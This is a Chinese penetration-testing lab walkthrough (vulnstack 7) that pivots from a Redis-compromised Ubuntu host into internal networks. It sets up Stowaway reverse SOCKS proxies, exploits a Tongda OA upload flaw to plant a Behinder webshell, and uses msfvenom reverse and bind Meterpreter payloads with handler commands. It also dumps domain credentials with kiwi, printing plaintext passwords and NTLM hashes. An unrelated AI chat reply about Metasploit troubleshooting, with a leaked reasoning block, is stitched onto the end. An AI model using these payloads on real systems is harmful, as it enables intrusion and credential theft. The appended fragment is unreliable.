万字讲解内网横向渗透vulnstack(七):红日靶场7实战全流程2-MSF上线Web1/Web2/PC1

目录

一、网络拓扑

1、网络拓扑

2、角色表

​二、Web1使用Fscan探测内网网段

1、上传fscan

2、fscan探测192.168.52.0/24网段

三、Stoway配置第一层反向代理

1、Storway原理

2、配置Stoway服务端代理

3、配置Stoway客户端代理

(1)web1服务器下载stoway客户端

(2)Web服务器执行stoway客户端命令

4、服务端配置Stowaway代理端口

5、Kali配置socks5代理

四、PC1渗透(通达OA 走stoway代理)

1、访问PC1的8080端口

2、OA工具箱渗透

(1)配置代理

(2)信息搜集

(3)写入木马

3、连接冰蝎木马(冰蝎需要配置代理)

4、发现第二层内网192.168.93.0/24

五、MSF监听(Web1 Ubuntu 直连)

1、MSF生成木马

(1)失败命令

(2)成功命令

2、Web1下载木马文件

3、MSF监听

4、Web1执行meterpreter_nostaged_x64.elf

5、MSF监听成功

六、MSF监听Web2(proxychains走stoway代理 稳定)

1、生成木马

2、web2 下载木马

(1)Web1服务器从kali攻击机下载web2.elf木马

(2)web2服务器从web1服务器下载web2.elf木马

3、MSF监听(走代理)

4、web2 执行木马

5、MSF监听Web2成功

七、MSF监听PC1(set Proxies socks5 可shell)

1、生成木马

2、上传木马到服务器

3、MSF监听(set Proxies socks5 可shell)

4、冰蝎执行木马

5、MSF监听成功

6、MSF获取密码

7、查看域信息


本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程,具体如下列表所示。本篇主要讲解获取内网1的PC1设备的全渗透流程,涉及如下背景色标黄的所有流程。首先利用Web1服务器的Redis未授权获取初始立足点,上传fscan扫描发现192.168.52.0/24内网。通过Stoway搭建反向代理,渗透PC1(通达OA)和Web2服务器,获取多台主机控制权。随后利用MSF生成木马,结合代理技术实现对内网主机的持续控制,基于在PC1上提取到域管理员凭据进行后续渗透。整个过程涉及Redis未授权渗透利用、反向代理搭建、通达OA渗透利用、MSF木马植入、域凭证提取等多个技术环节,展示了从外网到核心内网的完整渗透路径。

  • Web1 (外网跳板机) - 信息收集: 通过端口扫描发现并利用 Redis 未授权访问渗透。

  • Web1 (外网跳板机) - 获取权限: 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。

  • Web1 (外网跳板机) - 内网探测: 上传fscan进行内网扫描,发现192.168.52.0/24网段。

  • Web2 (内网1) - 渗透利用: 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129 渗透

  • Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。

  • Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。

  • Web2(内网1)-- 权限提升:通过CVE-2021-3493提权为root账户。

  • Kali(攻击机)-Web1 (外网跳板机)  - 反向代理:使用stoway搭建反向代理连通内网1。

  • PC1 (内网1) - 获取权限: 通过 Web1 跳板,利用通达OA渗透写入冰蝎木马进行提权。

  • Web1 (外网跳板机) - MSF获取权限: 通过向Web1上传木马,MSF获取Web1权限。

  • Web2(内网1)-- MSF获取权限:通过向Web2传木马,proxychains MSF获取Web2权限。

  • PC1 (内网1) - MSF获取权限: 通过向PC1传木马,MSF set Proxies socks5获取PC1权限。

  • PC1 (内网1) - MSF信息获取: 搜集密码信息与域信息,获取域管理员账户密码。

  • PC1 (内网1) - 内网探测: 通过向PC1传fscan,探测内网主机PC1和域控DC。

  • Kali-Web1-PC1 (内网1)  - 反向代理: 使用ew工具搭建二层内网反向代理。

  • PC2 (内网2) - 横向移动: 利用MSF 永恒之蓝获取权限(走二层代理)。

  • PC(内网2) - 信息收集: 基于MSF收集域信息,定位域控制器,获取域控的账号和密码。

  • DC (内网2) -获取权限:MSF PSexec SMB获取权限(走二层代理)。

一、网络拓扑

1、网络拓扑

外部网络:

  • Kali攻击机:Vmnet8-192.168.59.128
  • DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10

第一层内部网络:

  • Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
  • PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20

第二层内部网络:

  • 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
  • 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

2、角色表

本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。

  • 外网突破:Kali 利用 Web1 的 Redis 未授权 (192.168.52.10) 获得首个立足点。

  • 内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。

  • 向内网2渗透:利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。

  • 内网2攻击:最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。

节点IP地址角色渗透路径中的作用
Kali攻击机192.168.59.128 (Vmnet8)攻击发起源从外网发起攻击的起点
Web1跳板机192.168.59.141 (Vmnet8)
192.168.52.10 (Vmnet2)
初始入口
Redis未授权访问
第一层跳板,连接外网与内网1
Web2服务器192.168.52.20 (Vmnet2)
192.168.93.10 (Vmnet14)
Laravel应用 & Docker
双网卡网关
第二层跳板,连接内网1与内网2
PC1192.168.52.30 (Vmnet2)
192.168.93.20 (Vmnet14)
通达OA系统
双网卡主机
辅助跳点,连接内网1与内网2
PC2 (目标)192.168.93.40 (Vmnet14)存在MS17-010(永恒之蓝)内网2核心攻击目标之一
DC (目标)192.168.93.30 (Vmnet14)域控制器,Psexec/SMB内网2最终攻击目

二、Web1使用Fscan探测内网网段

1、上传fscan

由于Web1服务器是Linux系统,故而需要将fscan_arm64传入到Web1中,我们直接将其拖拽到xterminal的左侧目录即可,具体操作步骤如下所示。

2、fscan探测192.168.52.0/24网段

这一步需要打开三个windows虚拟机(Web1,Web2和PC1)探测,首先为fscan_amd64扫描工具添加可执行权限,随后对192.168.52.0/24整个C类网段进行综合资产探测扫描,旨在快速发现存活主机、开放端口及潜在安全风险。

chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24

分析./fscan_amd64 -h 192.168.52.0/24的扫描结果, 发现30是windows系统,8080是通达OA。

三、Stoway配置第一层反向代理

1、Storway原理

(1)部署阶段 (Deployment)

  • 服务端 (Admin):在攻击机 (192.168.59.128) 启动,监听 12347 端口,等待客户端连接。

  • 客户端 (Agent):在跳板机 (192.168.59.141) 启动,主动向外连接服务端的 12347 端口,建立一条持久的、加密的C2(命令与控制)信道

(2)代理配置 (Proxy Configuration)

  • 攻击者在攻击机上配置 proxychains,将 Socks5 代理指向 127.0.0.1:12347

  • 这意味着,所有被 proxychains 执行的网络流量,都会被发送到本机的 Stoway 服务端。

(3)攻击流程 (Attack Flow)

  •  攻击者运行 proxychains nmap... 或 proxychains msfconsole,攻击工具产生的流量被 proxychains 捕获。

  •  proxychains 将这些流量通过 Socks5 协议转发到本机的 12347 端口,即 Stoway 服务端。

  •  Stoway 服务端收到流量后,通过已建立的 C2 指令通道,将数据封装并发送给跳板机上的 Stoway 客户端。

  •  Stoway 客户端收到数据包后,将其还原为原始的网络请求,并通过跳板机的内网 IP (192.168.52.10) 发送给内网目标(如 192.168.52.20 或 192.168.52.30)。

flowchart LR
    subgraph A [攻击机 Kali]
        direction TB
        A1[攻击工具<br>MSF/Nmap等]
        A2[Proxychains]
        A3[Stoway 服务端 Admin<br>监听:12347]
        
        A1 -- "流量经Proxychains<br>代理转发" --> A2
        A2 -- "数据转发" --> A3
        style A fill:#e1f5fe
    end

    subgraph B [公网/DMZ]
        B1[跳板机<br>Stoway 客户端 Agent<br>外网:192.168.59.141<br>内网:192.168.52.10]
        style B fill:#f3e5f5
    end

    subgraph C [目标内网]
        C1[Web2: 192.168.52.20]
        C2[PC1: 192.168.52.30]
        style C fill:#e8f5e9
    end

    A -- "C2指令通道<br>服务端 → 客户端" --> B
    B -- "客户端执行指令<br>访问内网资源" --> C

2、配置Stoway服务端代理

首先为linux_x64_admin的Stoway管理端程序添加可执行权限,并通过-l 12347参数启动管理端服务并监听12347端口,建立远程管理通道以便通过该端口进行设备监控、配置管理和控制操作。

chmod +x linux_x64_admin
./linux_x64_admin -l 12347

3、配置Stoway客户端代理

(1)web1服务器下载stoway客户端

(2)Web服务器执行stoway客户端命令

首先为linux_x64_agent的Stoway客户端程序添加可执行权限,并通过-c 192.168.59.128:12346参数指定连接至IP为192.168.59.128、端口为12347的服务器,使客户端主动与服务端建立持久连接并接受远程指令。

chmod +x linux_x64_agent
./linux_x64_agent -c 192.168.59.128:12347

4、服务端配置Stowaway代理端口

stoway服务器配置监听12347端口,如下所示。

use 0
socks 12347

5、Kali配置socks5代理

配置/etc/proxychains4.conf文件,添加socks5 0.0.0.0 12347,如下所示。

四、PC1渗透(通达OA 走stoway代理)

1、访问PC1的8080端口

访问PC1的通达OA服务(192.168.52.30:8080),需要配置socks5代理192.168.59.128:12347,具体如下所示。

2、OA工具箱渗透

(1)配置代理

这里我们选择使用OA工具箱渗透,使用前需配置socks5代理192.168.59.128:12347,具体步骤如下所示。

(2)信息搜集

左侧的菜单栏中选择通达(如下图左侧红框所示),在地址栏输入Fscan中扫描到的通达OA服务URL地址http://192.168.52.30:8080/,点击验证如下所示存在文件上传安全风险。

(3)写入木马

接下来我们点击“文件上传”,在文本框内粘贴冰蝎马的内容,并点击上传文件,如下所示成功上传冰蝎马。

http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

3、连接冰蝎木马(冰蝎需要配置代理)

使用冰蝎工具前需要配置socks5代理192.168.59.128:12347,方法如下所示。

​URL地址:
http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png
密码 rebeyond

如下所示,我们成功连接冰蝎工具,截至目前我们已经成功获取到Web1服务器(跳板机)、Web2服务器(第一层内网)和PC1(第一层内网)的权限。

4、发现第二层内网192.168.93.0/24

如下所示,我们使用ipconfig查询ip地址,一个网卡的ip地址为192.168.52.30(正式第一层内网的IP地址),同时发现其另一个网卡ip地址为192.168.93.20,说明还第二层内网,其网段为192.168.93.0/24。

五、MSF监听(Web1 Ubuntu 直连)

1、MSF生成木马

(1)失败命令

由于Web1服务器系统较旧,使用如下两种方法生成的木马均会报错,无法监听成功。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell_x86.elf

(2)成功命令

使用MSFvenom工具生成一个Linux x64系统的后门程序,配置为向攻击者主机192.168.59.128的4444端口建立反向Meterpreter连接,输出格式为ELF可执行文件,最终生成名为meterpreter_nostaged_x64.elf的载荷文件用于渗透测试。

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o meterpreter_nostaged_x64.elf

对比失败和成功命令的区别,成功命令是生成一个适用于Linux x64系统的、无阶段的反向Meterpreter载荷。其特别之处在于,该ELF文件是完整的自包含后门,无需从攻击机分阶段下载代码,因此能一次性建立全功能会话,有效规避了某些基于网络流量检测的分阶段攻击识别机制。具体如下所示。

  • 失败命令:linux/x64/meterpreter/reverse_tcp

    • 这是一个分阶段 的载荷。

    • 含义: 生成的 shell.elf 文件非常小,它只是一个“引导程序”。当它在目标机器上执行时,会主动连接攻击机(192.168.59.128:4444),然后从攻击机下载并注入完整的、功能强大的 Meterpreter 载荷。

  • 成功命令:linux/x64/meterpreter_reverse_tcp

    • 这是一个无阶段 的载荷。

    • 特别之处: 生成的 meterpreter_nostaged_x64.elf 文件是一个完整的、自包含的后门程序。它已经将反向连接器和整个 Meterpreter 载荷都包含在同一个文件中。执行后,它会直接与攻击机建立连接并提供一个功能完整的 Meterpreter 会话,无需额外的网络通信来下载第二阶段载荷。

2、Web1下载木马文件

在 meterpreter_nostaged_x64.elf的目录中执行python3 -m http.server 8888。

Web服务器wget工具下载Kali攻击机生成的木马文件meterpreter_nostaged_x64.elf。

​wget http://192.168.59.128:8888/meterpreter_nostaged_x64.elf    

3、MSF监听

MSF开启监听,特别注意payload要与木马一致( linux/x64/meterpreter_reverse_tcp),具体配置如下所示。

msfconsole                                         
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.59.128
set LPORT 4444
set ExitOnSession false
exploit -j

4、Web1执行meterpreter_nostaged_x64.elf

​​

5、MSF监听成功

回到kali攻击机的MSF监听页面,此时已经监听成功。

六、MSF监听Web2(proxychains走stoway代理 稳定)

1、生成木马

使用MSFvenom生成一个Linux x64系统的后门程序,配置为在目标主机上开启5555端口监听并等待Metasploit攻击机主动连接,最终输出名为web2.elf的ELF格式可执行文件,用于建立反向Meterpreter控制会话。木马的payloadbind_tcp,这是因为baecon在目标主机中未必能实现出网连接到我们的攻击机Kali, 命令如下所示。

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=5555 -f elf -o web2.elf

  • -p linux/x64/meterpreter/bind_tcp:Linux x64 绑定TCP的Meterpreter载荷
  • LPORT=5555:目标监听端口5555
  • -f elf:输出格式为ELF可执行文件
  • -o web2.elf:输出文件名为web2.elf

2、web2 下载木马

由于web1无法直接连接攻击机Kali,我们现在需要先把木马下载到web1服务器中,再从web2服务器中下载木马。

(1)Web1服务器从kali攻击机下载web2.elf木马

kali攻击机生成木马的目录执行python3 -m http.server 8888开启web服务。

web1 下载web2.elf木马,具体如下所示。

(2)web2服务器从web1服务器下载web2.elf木马

在web2.elf目录执行python3 -m http.server 8888开启web服务,如下所示。

web2在root权限使用wget命令下载web2.elf,如下所示。

3、MSF监听(走代理)

通过代理隧道启动Metasploit框架并配置一个绑定式TCP载荷处理器,针对内网主机192.168.52.20的5555端口发起连接请求,在后台建立Meterpreter控制会话,实现通过跳板机对无法直接访问的内网目标进行远程代码执行和持久化控制。

proxychains -q msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.52.20
set LPORT 5555
exploit -j

4、web2 执行木马

在web2服务器的root权限下执行web2.elf木马,如下所示。

chmod +x web2.elf
./web2.elf 

5、MSF监听Web2成功

回到kali攻击机的MSF监听页面,此时已经监听成功,我们获取了MSF对Web2的控制权。

七、MSF监听PC1(set Proxies socks5 可shell)

1、生成木马

使用MSFvenom生成一个Windows x64系统的可执行后门程序,配置为在目标主机上开启5555端口监听并等待Metasploit攻击机主动连接,最终输出名为msf-PC1-5555.exe的PE格式文件,用于通过绑定TCP连接建立Meterpreter远程控制会话。

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o msf-PC1-5555.exe

2、上传木马到服务器

将木马msf-PC1-5555.exe通过冰蝎工具上传,具体如下所示。

3、MSF监听(set Proxies socks5 可shell)

在Metasploit框架中配置socks5代理(127.0.0.1:12347)建立网络隧道,随后启用多路处理器并设置windows/x64绑定式TCP载荷,最终通过代理连接内网目标192.168.52.30的5555端口,等待目标主机执行后门程序后建立Meterpreter控制会话。

msfconsole
set Proxies socks5:127.0.0.1:12347
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.52.30
set LPORT 5555
run

msfconsole

msf6 > set Proxies socks5:127.0.0.1:12347

Proxies => socks5:127.0.0.1:12347

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp

payload => windows/x64/meterpreter/bind_tcp

msf6 exploit(multi/handler) > set RHOST 192.168.52.30

RHOST => 192.168.52.30

msf6 exploit(multi/handler) > set LPORT 5555

LPORT => 5555

msf6 exploit(multi/handler) > run

4、冰蝎执行木马

5、MSF监听成功

木马运行后监听成功,具体如下所示。这个版本还可以进入shell界面,之前使用proxychains代理执行msf时是无法进入shell页面的。

6、MSF获取密码

在Meterpreter会话中执行Kiwi模块的creds_all功能,以SYSTEM权限从LSASS进程内存中完整提取目标主机的所有认证凭据,包括明文密码、NTLM哈希、Kerberos票据及各类缓存凭证,为横向移动和权限提升提供关键信息。

如下所示,Meterpreter命令成功以SYSTEM权限提取了目标主机的全部认证凭据,完整获取了WHOAMIANONY域(或WHOAMIANONY.ORG)中Administrator用户(密码Whoami2021)、bunny用户(密码Bunny2021)的明文密码及NTLM哈希,同时捕获了计算机账户PC1$的机器密码哈希,为后续横向移动和权限维持提供了完整的凭据集合。

meterpreter > creds_all

[+] Running as SYSTEM

[*] Retrieving all credentials

msv credentials

===============

Username       Domain       LM                                NTLM                              SHA1

--------       ------       --                                ----                              ----

Administrator  WHOAMIANONY  56b0cd8b125c05055e2dd9e955f18034  ab89b1295e69d353dd7614c7a3a80cec  2bc4124300a6a8fc0ca10891823d36c64e4b3a40

PC1$           WHOAMIANONY                                    3e6a3d8c713b4821eaa51aab25f52074  d8e1318a24c64b8fcc89dc8609b09af50342bacf

bunny          WHOAMIANONY  7de10bf327ef7f2ac6ebe8776a153feb  cc567d5556030b7356ee4915ff098c8f  3747632756191e3350e53211c63f804eb163638f

wdigest credentials

===================

Username       Domain       Password

--------       ------       --------

(null)         (null)       (null)

Administrator  WHOAMIANONY  Whoami2021

PC1$           WHOAMIANONY  %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;

bunny          WHOAMIANONY  Bunny2021

tspkg credentials

=================

Username       Domain       Password

--------       ------       --------

Administrator  WHOAMIANONY  Whoami2021

bunny          WHOAMIANONY  Bunny2021

kerberos credentials

====================

Username       Domain           Password

--------       ------           --------

(null)         (null)           (null)

Administrator  WHOAMIANONY.ORG  Whoami2021

bunny          WHOAMIANONY.ORG  Bunny2021

pc1$           whoamianony.org  %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;

pc1$           WHOAMIANONY.ORG  %Yn!@ZW,eWz5>[!hh;H.(&n(yh^2YADmU*2bVx<N#yvw.9MTwmi;84''uRaucL)mw7I42S>sUE#r&u]vz6\/:5A.s5nLrko+zfn@])/"$V6?sDZel=f>[ol;

通过表格的形式总结暴露的域核心账户的认证信息,凭借这些凭据,攻击者可以使用 Administrator 密码或哈希,通过psexec,wmiexec 等工具控制域内其他主机,具体如下所示,

用户名明文密码NTLM 哈希角色与风险分析
AdministratorWHOAMIANONYWhoami2021ab89b1295e69d353dd7614c7a3a80cec域管理员账户。获取此账户意味着完全控制整个 WHOAMIANONY.ORG 域。
bunnyWHOAMIANONYBunny2021cc567d5556030b7356ee4915ff098c8f普通域用户。可作为低权限跳板或用于测试凭证是否在其他系统重用。
PC1$WHOAMIANONY机器密码(复杂长字符串)3e6a3d8c713b4821eaa51aab25f52074计算机账户。此哈希可用于白银票据攻击,伪造访问该机器特定服务的票证。

7、查看域信息

执行net view列出当前域或工作组中可用的网络计算机,分别为DC、PC1和PC2。

<think>嗯,用户遇到了Metasploit Framework的Web服务没有运行的问题,提示没有找到PID文件。首先,我需要确认这个错误可能的原因。PID文件通常用来记录服务的进程ID,如果不存在,可能是因为服务没有正确启动或者在启动后崩溃了。 我应该先让用户检查服务状态,确定是否真的没有运行。接着,查看日志文件是关键步骤,因为日志里可能有启动失败的具体原因,比如端口冲突或者依赖问题。常见的端口是8083,可能被其他程序占用,所以需要检查端口使用情况。 另外,权限问题在Windows上也可能导致服务无法启动,特别是如果用户没有足够的权限写入PID文件或者相关目录。建议用户以管理员身份运行命令,看看是否有帮助。 还有可能是安装损坏或者依赖缺失,尤其是如果Metasploit是通过第三方包管理器安装的,可能需要重新安装或者更新。Ruby环境的问题也不容忽视,版本兼容性或gem依赖错误都可能导致服务启动失败。 最后,如果所有方法都无效,建议手动启动Web服务并生成PID文件,这样可以进一步验证问题所在。如果手动启动成功,可能之前的自动启动流程有问题,需要进一步排查。需要一步步引导用户检查每个可能性,确保他们能逐步解决问题。</think>好的,我将逐步帮助你分析和解决 "msf web service isn't running, no PID file found" 的问题: **1. 确认服务状态** ```bash # 查看服务是否在运行 sudo systemctl status metasploit-ws.service # 或手动检查进程 ps aux | grep [m]sf-ws ``` 如果服务处于 inactive/dead 状态,说明启动失败 **2. 检查日志文件** ```bash journalctl -u metasploit-ws.service --since "5 minutes ago" ``` 重点关注以下错误类型: - 端口冲突(默认使用8083端口) - 数据库连接失败 - 文件权限问题 - Ruby依赖错误 **3. 常见原因及解决方案** *情况1:端口冲突* ```bash # 检查8083端口占用 sudo lsof -i :8083 # 修改配置文件中的端口 sudo nano /usr/local/share/metasploit-framework/config/web-service.yml ``` 将 `port: 8083` 改为其他未占用端口 *情况2:PID文件权限问题* ```bash # 检查PID文件路径权限 ls -ld C:/users/msf4/ # 修复权限 sudo chown -R $(whoami):$(whoami) C:/users/msf4/ ``` *情况3:依赖缺失* ```bash # 重新安装依赖 cd /usr/local/share/metasploit-framework bundle install ``` **4. 手动启动测试** ```bash # 清除旧PID文件 rm -f C:/users/msf4/msf-ws.pid # 手动启动服务 msfdb start-web # 观察实时日志 tail -f /usr/local/var/log/metasploit/web-service.log ``` **5. 高级排查步骤** - 检查Ruby版本是否匹配要求(推荐使用2.7+) - 验证数据库连接: ```bash msfconsole -x "db_status; exit" ``` - 检查防火墙设置: ```bash sudo ufw allow 8083/tcp ``` **6. 最后恢复措施** 如果问题持续存在,尝试重建数据库: ```bash msfdb reinitialize ``` 请按照以上步骤顺序排查,多数情况下通过检查日志和修复权限/端口问题即可解决。如果遇到具体错误信息,可以提供详细日志内容以便进一步分析。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值